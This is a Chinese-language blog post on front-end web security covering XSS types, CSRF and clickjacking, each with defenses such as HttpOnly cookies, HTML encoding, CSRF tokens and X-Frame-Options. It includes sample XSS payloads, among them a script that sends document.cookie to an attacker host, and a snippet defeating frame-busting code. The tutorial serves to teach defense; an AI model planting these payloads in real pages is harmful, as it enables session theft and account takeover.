前端安全知識

三毛丶發表於2017-10-11
前端

原文連線 jkchao.cn/article/59d…

XSS

xss: 跨站指令碼攻擊（Cross Site Scripting）是最常見和基本的攻擊 WEB 網站方法，攻擊者通過注入非法的 html 標籤或者 javascript 程式碼，從而當使用者瀏覽該網頁時，控制使用者瀏覽器。

xss 主要分為三類：

  • DOM xss :

    DOM即文字物件模型，DOM通常代表在html、xhtml和xml中的物件，使用DOM可以允許程式和指令碼動態的訪問和更新文件的內容、結構和樣式。它不需要伺服器解析響應的直接參與，觸發XSS靠的是瀏覽器端的DOM解析，可以認為完全是客戶端的事情。

  • 反射型 xss :

    反射型XSS也被稱為非永續性XSS，是現在最容易出現的一種XSS漏洞。發出請求時，XSS程式碼出現在URL中，最後輸入提交到伺服器，伺服器解析後在響應內容中出現這段XSS程式碼，最後瀏覽器解析執行。

  • 儲存型 xss :

    儲存型XSS又被稱為永續性XSS，它是最危險的一種跨站指令碼，相比反射型XSS和DOM型XSS具有更高的隱蔽性，所以危害更大，因為它不需要使用者手動觸發。 允許使用者儲存資料的web程式都可能存在儲存型XSS漏洞，當攻擊者提交一段XSS程式碼後，被伺服器端接收並儲存，當所有瀏覽者訪問某個頁面時都會被XSS，其中最典型的例子就是留言板。

跨站指令碼攻擊可能造成以下影響：

  • 利用虛假輸入表單騙取使用者個人資訊。

  • 利用指令碼竊取使用者的 Cookie 值，被害者在不知情的情況下，幫助攻擊者傳送惡意請求。

  • 顯示偽造的文章或圖片。

儲存型 xss 案例

在專案開發中，評論是個常見的功能，如果直接把評論的內容儲存到資料庫，那麼顯示的時候就可能被攻擊。

  • 如果你只是想試試 xss，可以這樣：

      <font size="100" color="red">試試水</font>複製程式碼

  • 如果帶點惡意，可以這樣：

      <script>
      while (true) {
          alert('Hello')
      }
  </script>複製程式碼

    這時，網站就掛了。

  • 當然，最常見 xss 攻擊是讀取 Cookie：

      <script>
      alert(document.cookie)
  </script>複製程式碼

    Cookie 傳送給攻擊者的站點：

      var img = document.createElement('img')
  img.src='http://www.xss.com?cookie=' + document.cookie
  img.style.display='none'
  document.getElementsByTagName('body')[0].appendChild(img)複製程式碼

    當前使用者的登入憑證儲存於伺服器的 session 中，而在瀏覽器中是以 cookie 的形式儲存的。如果攻擊者能獲取到使用者登入憑證的 Cookie，甚至可以繞開登入流程，直接設定這個 Cookie 值，來訪問使用者的賬號。

防禦

按理說，只要有輸入資料的地方，就可能存在 XSS 危險。

  • httpOnly: 在 cookie 中設定 HttpOnly 屬性後，js指令碼將無法讀取到 cookie 資訊。

      // koa
  ctx.cookies.set(name, value, {
      httpOnly: true // 預設為 true
  })
  `複製程式碼

  • 過濾

    • 輸入檢查，一般是用於對於輸入格式的檢查，例如：郵箱，電話號碼，使用者名稱，密碼……等，按照規定的格式輸入。

      不僅僅是前端負責，後端也要做相同的過濾檢查。

      因為攻擊者完全可以繞過正常的輸入流程，直接利用相關介面向伺服器傳送設定。

    • HtmlEncode
      某些情況下，不能對使用者資料進行嚴格過濾，需要對標籤進行轉換

      當使用者輸入<script>window.location.href=”http://www.baidu.com”;</script>, 最終儲存結果為 &lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;, 在展現時，瀏覽器會對這些字元轉換成文字內容，而不是一段可以執行的程式碼。

    • JavaScriptEncode
      對下列字元加上反斜槓

      關於更多 HtmlEncode 和 JavaScriptEncode，請參考 www.cnblogs.com/lovesong/p/…

CSRF

csrf：跨站點請求偽造（Cross-Site Request Forgeries），也被稱為 one-click attack 或者 session riding。冒充使用者發起請求（在使用者不知情的情況下）， 完成一些違背使用者意願的事情（如修改使用者資訊，刪初評論等）。

可能會造成以下影響：

  • 利用已通過認證的使用者許可權更新設定資訊等；

  • 利用已通過認證的使用者許可權購買商品；

  • 利用已通過的使用者許可權在留言板上發表言論。

一張圖瞭解原理：

簡而言之：網站過分相信使用者。

與 xss 區別

  • 通常來說 CSRF 是由 XSS 實現的，CSRF 時常也被稱為 XSRF（CSRF 實現的方式還可以是直接通過命令列發起請求等）。

  • 本質上講，XSS 是程式碼注入問題，CSRF 是 HTTP 問題。XSS 是內容沒有過濾導致瀏覽器將攻擊者的輸入當程式碼執行。CSRF 則是因為瀏覽器在傳送 HTTP 請求時候自動帶上 cookie，而一般網站的 session 都存在 cookie裡面。

  • 來自某乎的一個栗子：

案例

比如某網站的轉賬操作

受害者張三給李四轉賬100，

通過對銀行的網站發起請求 bank.example/transfer?ac… ，

通常情況下，該請求發出後，伺服器端會檢查 session 是否合法，並且張三已經登入成功，

黑客王五可以自己給銀行傳送一個請求 bank.example/transfer?ac… ，但是這個請求來自王五，而不是張三，他並不能通過安全認證。他需要張三的 session 。

王五自己做了一個網站，放入如下程式碼 bank.example/transfer?ac… ，
用各種方式誘使張三點選自己的網站。

張三登入了銀行的網站沒有退出，訪問了黑客王五的網站，上述的 url 就會向銀行發起請求。

如果session沒有過期，這時悲劇就發生了，張三的賬戶裡少了1000。

防禦

  • 驗證碼；強制使用者必須與應用進行互動，才能完成最終請求。此種方式能很好的遏制 csrf，但是使用者體驗比較差。

  • 儘量使用 post ，限制 get 使用；上一個例子可見，get 太容易被拿來做 csrf 攻擊，但是 post 也並不是萬無一失，攻擊者只需要構造一個form就可以。

  • Referer check；請求來源限制，此種方法成本最低，但是並不能保證 100% 有效，因為伺服器並不是什麼時候都能取到 Referer，而且低版本的瀏覽器存在偽造 Referer 的風險。

  • token；token 驗證的 CSRF 防禦機制是公認最合適的方案。

    整體思路如下：

    • 第一步：後端隨機產生一個 token，把這個token 儲存到 session 狀態中；同時後端把這個token 交給前端頁面；

    • 第二步：前端頁面提交請求時，把 token 加入到請求資料或者頭資訊中，一起傳給後端；

    • 後端驗證前端傳來的 token 與 session 是否一致，一致則合法，否則是非法請求。

      若網站同時存在 XSS 漏洞的時候，這個方法也是空談。

Clickjacking

Clickjacking： 點選劫持，是指利用透明的按鈕或連線做成陷阱，覆蓋在 Web 頁面之上。然後誘使使用者在不知情的情況下，點選那個連線訪問內容的一種攻擊手段。這種行為又稱為介面偽裝(UI Redressing) 。

大概有兩種方式：

  • 攻擊者使用一個透明 iframe，覆蓋在一個網頁上，然後誘使使用者在該頁面上進行操作，此時使用者將在不知情的情況下點選透明的 iframe 頁面；

  • 攻擊者使用一張圖片覆蓋在網頁，遮擋網頁原有的位置含義。

案例

一張圖瞭解

一般步驟

  • 黑客建立一個網頁利用 iframe 包含目標網站；

  • 隱藏目標網站，使使用者無法無法察覺到目標網站存在；

  • 構造網頁，誘變使用者點選特點按鈕

  • 使用者在不知情的情況下點選按鈕，觸發執行惡意網頁的命令。

防禦

  • X-FRAME-OPTIONS；

    X-FRAME-OPTIONS HTTP 響應頭是用來給瀏覽器指示允許一個頁面可否在<frame>, <iframe> 或者 <object> 中展現的標記。網站可以使用此功能，來確保自己網站內容沒有被嵌到別人的網站中去，也從而避免點選劫持的攻擊。

    有三個值：

    • DENY：表示頁面不允許在 frame 中展示，即便是在相同域名的頁面中巢狀也不允許。

    • SAMEORIGIN：表示該頁面可以在相同域名頁面的 frame 中展示。

    • ALLOW-FROM url：表示該頁面可以在指定來源的 frame 中展示。

    配置 X-FRAME-OPTIONS：

    • Apache

      把下面這行新增到 'site' 的配置中：

      Header always append X-Frame-Options SAMEORIGIN複製程式碼

    • nginx

      把下面這行新增到 'http', 'server' 或者 'location'，配置中

      add_header X-Frame-Options SAMEORIGIN;複製程式碼

    • IIS

      新增下面配置到 Web.config 檔案中

        <system.webServer>
...

<httpProtocol>
  <customHeaders>
    <add name="X-Frame-Options" value="SAMEORIGIN" />
  </customHeaders>
</httpProtocol>

...
</system.webServer>複製程式碼

  • js 判斷頂層視窗跳轉，可輕易破解，意義不大；

    function locationTop(){
  if (top.location != self.location) {
     top.location = self.location; return false;
  }
  return true; 
 }
locationTop();複製程式碼
    // 破解：
// 頂層視窗中放入程式碼
var location = document.location;
//或者
var location = "";複製程式碼

相關文章